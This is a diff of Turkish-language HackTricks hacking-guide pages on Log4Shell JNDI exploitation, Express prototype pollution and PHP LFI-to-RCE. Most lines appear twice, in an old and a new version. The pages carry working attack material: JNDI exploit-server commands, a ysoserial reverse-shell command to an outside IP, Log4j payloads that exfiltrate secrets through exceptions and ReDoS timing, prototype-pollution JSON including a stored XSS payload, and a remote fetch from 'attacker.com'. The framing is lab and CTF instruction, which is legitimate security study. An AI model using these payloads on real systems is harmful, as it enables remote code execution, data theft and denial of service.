Yazarın log4shell keşfinden sonra bu projeyi github'dan kaldırdığını unutmayın. [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) adresinde önbelleğe alınmış bir versiyonunu bulabilirsiniz, ancak yazarın kararına saygı göstermek istiyorsanız bu açığı istismar etmek için farklı bir yöntem kullanın. Yazarın log4shell keşfinden sonra bu projeyi github'dan kaldırdığı için bir neden var. [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) adresinde önbelleğe alınmış bir versiyonunu bulabilirsiniz, ancak yazarın kararına saygı göstermek istiyorsanız bu açığı istismar etmek için farklı bir yöntem kullanın.
Ayrıca, wayback machine'de kaynak kodunu bulamazsınız, bu yüzden ya kaynak kodunu analiz edin ya da neyi çalıştırdığınızı bilmeden jar dosyasını çalıştırın. Ayrıca, kaynak kodunu wayback makinesinde bulamazsınız, bu yüzden ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmeden jar dosyasını çalıştırın.
{% endhint %} {% endhint %}
Bu örnek için, port 8080'de **log4shell için bu savunmasız web sunucusunu** çalıştırabilirsiniz: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README'de nasıl çalıştırılacağını bulacaksınız_). Bu savunmasız uygulama, HTTP istek başlığı _X-Api-Version_'ın içeriğini log4shell'in savunmasız bir versiyonu ile kaydediyor. Bu örnek için, port 8080'de **log4shell için bu savunmasız web sunucusunu** çalıştırabilirsiniz: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README'de nasıl çalıştırılacağını bulacaksınız_). Bu savunmasız uygulama, HTTP istek başlığı _X-Api-Version_'ın içeriğini log4shell'in savunmasız bir versiyonu ile kaydediyor.
@ -312,7 +304,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command # Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
``` ```
_Bu özel olarak üretilmiş bir java nesnesi kullanan saldırı, **THM solar room** gibi laboratuvarlarda çalışacaktır. Ancak, bu genellikle çalışmayacaktır (çünkü varsayılan olarak Java, LDAP kullanarak uzaktan kod tabanı yüklemek için yapılandırılmamıştır) bence çünkü rastgele kod çalıştırmak için güvenilir bir sınıfı istismar etmiyor._ _Özel olarak üretilmiş bir java nesnesi kullanan bu saldırı, **THM solar room** gibi laboratuvarlarda çalışacaktır. Ancak, bu genellikle çalışmayacaktır (çünkü varsayılan olarak Java, LDAP kullanarak uzaktan kod tabanı yüklemek için yapılandırılmamıştır) bence çünkü rastgele kod çalıştırmak için güvenilir bir sınıfı istismar etmiyor._
### RCE - JNDI-Injection-Exploit-Plus ### RCE - JNDI-Injection-Exploit-Plus
@ -320,14 +312,14 @@ _Bu özel olarak üretilmiş bir java nesnesi kullanan saldırı, **THM solar ro
### RCE - ysoserial & JNDI-Exploit-Kit ### RCE - ysoserial & JNDI-Exploit-Kit
Bu seçenek, **yalnızca belirli sınıflara güvenen ve herkese güvenmeyen Java sürümlerine saldırmak için gerçekten kullanışlıdır**. Bu nedenle, **ysoserial**, **rastgele kod çalıştırmak için kullanılabilecek güvenilir sınıfların serileştirmelerini** oluşturmak için kullanılacaktır (_ysoserial tarafından istismar edilen güvenilir sınıf, istifanın çalışması için kurban java programı tarafından kullanılmalıdır_). Bu seçenek, **sadece belirli sınıflara güvenen ve herkese güvenmeyen Java sürümlerine saldırmak için gerçekten kullanışlıdır**. Bu nedenle, **ysoserial**, **rastgele kod çalıştırmak için kullanılabilecek güvenilir sınıfların serileştirmelerini** oluşturmak için kullanılacaktır (_ysoserial tarafından istismar edilen güvenilir sınıf, istifanın çalışması için kurban java programı tarafından kullanılmalıdır_).
**ysoserial** veya [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kullanarak JNDI tarafından indirilecek olan deserialization istismarını oluşturabilirsiniz: **ysoserial** veya [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kullanarak JNDI tarafından indirilecek olan deserialization istismarını oluşturabilirsiniz:
```bash ```bash
# Rev shell via CommonsCollections5 # Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
``` ```
**JNDI-Exploit-Kit**'i kullanarak, istismar için savunmasız makinelerden bağlantılar bekleyen **JNDI bağlantıları** oluşturun. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulabilen **farklı istismarları** veya hatta **kendi deserialization yüklerinizi** (sizin veya ysoserial tarafından oluşturulmuş) sunabilirsiniz. [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kullanarak, istismar için **JNDI bağlantıları** oluşturun; burada istismar, savunmasız makinelerden bağlantılar bekleyecektir. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulabilen **farklı istismarları** veya hatta **kendi deserialization yüklerinizi** (sizin veya ysoserial tarafından oluşturulan) sunabilirsiniz.
```bash ```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
``` ```
@ -391,7 +383,7 @@ Bu sayfada [**önceki yükler**](jndi-java-naming-and-directory-interface-and-lo
### Exfiltration in Exceptions ### Exfiltration in Exceptions
CTF'de, log4J kullanarak java uygulamasının **stderr**'ine erişemediniz, ancak Log4J **istisnaları stdout'a** gönderilir, bu da python uygulamasında yazdırıldığı anlamına geliyordu. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışarıya çıkarmak için bir istisna: **`${java:${env:FLAG}}`.** Bu, **`${java:CTF{blahblah}}`** mevcut olmadığından ve bayrağın değeriyle bir istisna gösterileceğinden çalışır: CTF'de, log4J kullanarak java uygulamasının **stderr**'ine erişemediniz, ancak Log4J **istisnaları stdout'a gönderilir**, bu da python uygulamasında yazdırıldığı anlamına geliyordu. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışarıya çıkarmak için bir istisna: **`${java:${env:FLAG}}`.** Bu, **`${java:CTF{blahblah}}`** mevcut olmadığından ve bayrak değeriyle bir istisna gösterileceğinden çalışır:
![](<../../.gitbook/assets/image (1023).png>) ![](<../../.gitbook/assets/image (1023).png>)
@ -410,16 +402,16 @@ Ancak, bazı **regex'leri destekleyen dönüşüm desenlerini** kullanarak bir a
* **İstisna mesajları aracılığıyla ikili arama** * **İstisna mesajları aracılığıyla ikili arama**
Dönüşüm deseni **`%replace`** bir **dizeden** **içeriği** **değiştirmek** için **regex'leri** kullanarak kullanılabilir. Şöyle çalışır: `replace{pattern}{regex}{substitution}`\ Dönüşüm deseni **`%replace`** bir **dizeden** **içeriği** **değiştirmek** için **regex'leri** kullanarak kullanılabilir. Şöyle çalışır: `replace{pattern}{regex}{substitution}`\
Bu davranışı kötüye kullanarak, **regex bir şeyle eşleşirse** bir istisna tetiklemek için **değiştirmeyi** yapabilirsiniz (ve bulunmadığında istisna yoktur) şöyle: Bu davranışı kötüye kullanarak, **regex bir şeyle eşleşirse** bir istisna tetiklenmesini sağlayabilir (ve bulunamazsa istisna olmaz) şöyle:
```bash ```bash
%replace{${env:FLAG}}{^CTF.*}{${error}} %replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.* # The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception ## and ONLY if it's found ${error} will be resolved with will trigger an exception
``` ```
* **Zaman Tabanlı** * **Zaman bazlı**
Önceki bölümde belirtildiği gibi, **`%replace`** **regex** destekler. Bu nedenle, bayrağın bulunması durumunda bir **timeout** oluşturmak için [**ReDoS sayfasından**](../regular-expression-denial-of-service-redos.md) payload kullanmak mümkündür.\ Önceki bölümde belirtildiği gibi, **`%replace`** **regex**'leri destekler. Bu nedenle, bayrağın bulunması durumunda bir **timeout** oluşturmak için [**ReDoS sayfasındaki**](../regular-expression-denial-of-service-redos.md) yükü kullanmak mümkündür.\
Örneğin, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` gibi bir payload, o CTF'de bir **timeout** tetikleyecektir. Örneğin, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` gibi bir yük, o CTF'de bir **timeout** tetikleyecektir.
Bu [**yazıda**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), bir ReDoS saldırısı yerine bir **amplification attack** kullanarak yanıtın zaman farkını oluşturmuştur: Bu [**yazıda**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), bir ReDoS saldırısı yerine bir **amplification attack** kullanarak yanıtın zaman farkını oluşturmuştur:
@ -441,9 +433,9 @@ Bu [**yazıda**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2
> }{#}{######################################################} > }{#}{######################################################}
> ``` > ```
> >
> Eğer bayrak `flagGuess` ile başlıyorsa, tüm bayrak 29 `#` ile değiştirilir (bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). **Sonuçta oluşan 29 `#`'nin her biri 54 `#` ile değiştirilir**. Bu işlem **6 kez** tekrarlanır ve toplamda ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!** > Eğer bayrak `flagGuess` ile başlıyorsa, tüm bayrak 29 `#` ile değiştirilir (bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). **Sonuçta elde edilen 29 `#`'nin her biri 54 `#` ile değiştirilir**. Bu işlem **6 kez** tekrarlanır ve toplamda ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
> >
> Bu kadar çok `#` değiştirmek, Flask uygulamasının 10 saniyelik timeout'unu tetikleyecek ve bu da kullanıcının HTTP durum kodu 500 almasına neden olacaktır. (Eğer bayrak `flagGuess` ile başlamıyorsa, 500 dışı bir durum kodu alacağız) > Bu kadar çok `#`'yi değiştirmek, Flask uygulamasının 10 saniyelik zaman aşımını tetikleyecek ve bu da kullanıcının HTTP durum kodu 500 almasına neden olacaktır. (Eğer bayrak `flagGuess` ile başlamıyorsa, 500 dışı bir durum kodu alacağız)
## Referanslar ## Referanslar
@ -456,15 +448,10 @@ Bu [**yazıda**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) * [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) * [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -1,41 +1,27 @@
# Express Prototype Pollution Gadgets # Express Prototype Pollution Gadgets
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io) ## XSS yanıtlarını sunma
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## XSS yanıtları sunun
**Daha fazla ayrıntı için** [**orijinal araştırmaya göz atın**](https://portswigger.net/research/server-side-prototype-pollution) **Daha fazla ayrıntı için** [**orijinal araştırmaya göz atın**](https://portswigger.net/research/server-side-prototype-pollution)
### JSON içerik türünü HTML olarak değiştirin ### JSON içerik türünü HTML olarak değiştirin
Bir **JSON içerik türü yanıtı** kullanan bir Express uygulamasında ve bir JSON'u yansıtarak: **JSON içerik türü yanıtı** kullanan bir Express uygulamasında ve bir JSON'u yansıtarak:
```javascript ```javascript
app.use(bodyParser.json({type: 'application/json'})); app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){ app.post('/', function(req, res){
@ -43,15 +29,15 @@ _.merge({}, req.body);
res.send(req.body); res.send(req.body);
}); });
``` ```
Bu durumlarda XSS genellikle JSON içerik türü ile mümkün değildir. Ancak, prototip kirlenmesi ile **Express'i HTML yanıtı sunması için kandırabiliriz.** Bu güvenlik açığı, uygulamanın **`res.send(obj)`** kullanmasına ve uygulama/json içerik türü ile gövde ayrıştırıcısını kullanmasına dayanır. Bu durumlarda XSS genellikle JSON içerik türü ile mümkün değildir. Ancak, prototip kirlenmesi ile **Express'i HTML yanıtı sunması için kandırabiliriz.** Bu zafiyet, uygulamanın **`res.send(obj)`** kullanmasına ve uygulama/json içerik türü ile gövde ayrıştırıcısını kullanmasına dayanır.
```json ```json
{"__proto__":{"_body":true,"body":"<script>evil()"}} {"__proto__":{"_body":true,"body":"<script>evil()"}}
``` ```
**`body`** ve **`_body`** özelliklerini **kirleterek**, **Express'in HTML içerik türünü sunmasını** sağlamak ve `_body` özelliğini yansıtmak mümkündür; bu da saklı XSS'e yol açar. **`body`** ve **`_body`** özelliklerini **kirleterek**, **Express'in HTML içerik türünü sunmasını** sağlamak ve `_body` özelliğini yansıtmak mümkündür, bu da saklı XSS'e yol açar.
### UTF7'yi Render Et ### UTF7'yi Render Et
Express'in **UTF-7 içeriğini render etmesini sağlamak mümkündür**: Express'in **UTF-7 içeriği render etmesini sağlamak mümkündür**:
```json ```json
{"__proto__":{"content-type": "application/json; charset=utf-7"}} {"__proto__":{"content-type": "application/json; charset=utf-7"}}
``` ```
@ -59,7 +45,7 @@ Express'in **UTF-7 içeriğini render etmesini sağlamak mümkündür**:
### JSON boşlukları ### JSON boşlukları
Aşağıdaki PP, bir JSON içindeki niteliklerin ekstra bir boşluğa sahip olmasını sağlayacak ve bu, işlevselliği bozmayacaktır: Aşağıdaki PP, bir JSON içindeki niteliklerin işlevselliği bozmayacak şekilde ekstra bir boşluğa sahip olmasını sağlayacaktır:
```json ```json
{"__proto__":{"json spaces": " "}} {"__proto__":{"json spaces": " "}}
``` ```
@ -88,7 +74,7 @@ Aşağıdaki yük ile, **OPTIONS yanıtından bir yöntemi gizlemek** mümkünd
``` ```
### **Durum** ### **Durum**
Aşağıdaki PP yükü kullanarak **geri dönen durum kodunu** değiştirmek mümkündür: Aşağıdaki PP yükü kullanılarak **dönen durum kodu** değiştirmek mümkündür:
```json ```json
{"__proto__":{"status":510}} {"__proto__":{"status":510}}
``` ```
@ -101,7 +87,7 @@ Bir prototipe bir dize gibi bir ilkel atadığınızda, bu **prototipin bir nesn
``` ```
### Yansıtılan Değer ### Yansıtılan Değer
Bir uygulama yanıtında bir nesne içerdiğinde, **`__proto__` ile birlikte alışılmadık bir adla bir özellik oluşturmak** bilgilendirici olabilir. Özellikle, eğer **yalnızca alışılmadık özellik yanıt olarak döndürülüyorsa**, bu uygulamanın zayıflığını gösterebilir: Bir uygulama yanıtında bir nesne içerdiğinde, **`__proto__` ile birlikte alışılmadık bir isimle bir özellik oluşturmak** faydalı olabilir. Özellikle, eğer **yalnızca alışılmadık özellik yanıt olarak döndürülüyorsa**, bu uygulamanın zayıflığını gösterebilir:
```json ```json
{"unusualName":"value","__proto__":"test"} {"unusualName":"value","__proto__":"test"}
``` ```
@ -125,17 +111,6 @@ Kesinlikle bir hata **zincirinde** kullanarak bir **prototip kirlenmesi açığ
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) * [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunan bir **karanlık ağ** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -146,7 +121,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -1,39 +1,25 @@
# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure # LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
### `compress.zlib://` ve `PHP_STREAM_PREFER_STDIO` ### `compress.zlib://` ve `PHP_STREAM_PREFER_STDIO`
`compress.zlib://` protokolü ile `PHP_STREAM_PREFER_STDIO` bayrağı kullanılarak açılan bir dosya, bağlantıya daha sonra gelen verileri aynı dosyaya yazmaya devam edebilir. `compress.zlib://` protokolü kullanılarak açılan bir dosya, `PHP_STREAM_PREFER_STDIO` bayrağı ile, bağlantıya daha sonra gelen verileri aynı dosyaya yazmaya devam edebilir.
Bu, şu şekilde bir çağrının yapılabileceği anlamına gelir: Bu, aşağıdaki gibi bir çağrının anlamına gelir:
```php ```php
file_get_contents("compress.zlib://http://attacker.com/file") file_get_contents("compress.zlib://http://attacker.com/file")
``` ```
@ -59,22 +45,10 @@ Saldırgan, **kurban sunucunun saldırganın sunucusundan bir dosya okuma bağla
**Bağlantı** hala açıkken, saldırgan **kontrol ettiği geçici dosyayı yükleyen bir LFI'yi** **istismar edecektir**. **Bağlantı** hala açıkken, saldırgan **kontrol ettiği geçici dosyayı yükleyen bir LFI'yi** **istismar edecektir**.
Ancak, web sunucusunda **`<?`** içeren dosyaların yüklenmesini **önleyen** bir kontrol vardır. Bu nedenle, saldırgan bir **Yarış Koşulu** istismar edecektir. Hala açık olan bağlantıda **saldırgan**, **web sunucusu** dosyanın yasaklı karakterleri içerip içermediğini **kontrol ettikten SONRA** **PHP yükünü** **gönderecektir** ama **içeriğini yüklemeden ÖNCE**. Ancak, web sunucusunda **`<?`** içeren dosyaların yüklenmesini **önleyen** bir kontrol vardır. Bu nedenle, saldırgan bir **Yarış Koşulu** istismar edecektir. Hala açık olan bağlantıda **saldırgan**, **web sunucusu** dosyanın yasaklı karakterleri içerip içermediğini **kontrol ettikten SONRA** PHP yükünü **gönderecektir** ama **içeriğini yüklemeden ÖNCE**.
Daha fazla bilgi için [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) adresindeki Yarış Koşulu ve CTF açıklamasını kontrol edin. Daha fazla bilgi için [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) adresindeki Yarış Koşulu ve CTF açıklamasını kontrol edin.
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), **stealer malwares** tarafından **tehdit edilen** bir şirketin veya müşterilerinin durumunu kontrol etmek için **ücretsiz** işlevsellikler sunan bir **karanlık ağ** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -84,7 +58,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
